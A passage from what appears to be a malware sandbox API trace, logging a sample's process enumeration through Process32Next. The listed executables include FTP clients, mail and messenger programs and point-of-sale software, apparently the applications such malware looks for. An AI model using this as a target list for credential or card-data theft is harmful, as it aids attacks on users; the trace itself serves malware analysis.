pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.661] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.663] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.666] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.668] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.670] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.672] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0119.674] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0119.676] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0119.677] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.679] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0119.681] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0119.682] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0119.684] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0119.686] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0119.688] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0119.690] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0119.692] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.694] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0119.696] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0119.698] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0119.700] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0119.702] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0119.704] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.705] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0119.708] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0119.710] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0119.712] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0119.731] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0119.734] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0119.738] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0119.741] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0119.743] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0119.746] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0119.748] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0119.751] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0119.754] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0119.756] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0119.758] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0119.761] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0119.763] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0119.766] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0119.768] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0119.771] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0119.773] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0119.776] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0119.779] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0119.782] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0119.786] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0119.789] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0119.795] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0119.799] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0119.802] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0119.806] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0119.809] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0119.811] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0119.813] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0119.815] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0119.818] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0119.820] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0119.822] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0119.825] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0119.828] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0119.830] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0119.832] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0119.835] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0119.837] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0119.871] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0119.874] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0119.877] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0119.881] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0119.884] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0119.887] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0119.891] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0119.894] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0119.899] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0119.903] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0119.905] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0119.907] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0119.909] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0119.912] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0119.914] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0119.916] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0119.918] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0119.920] 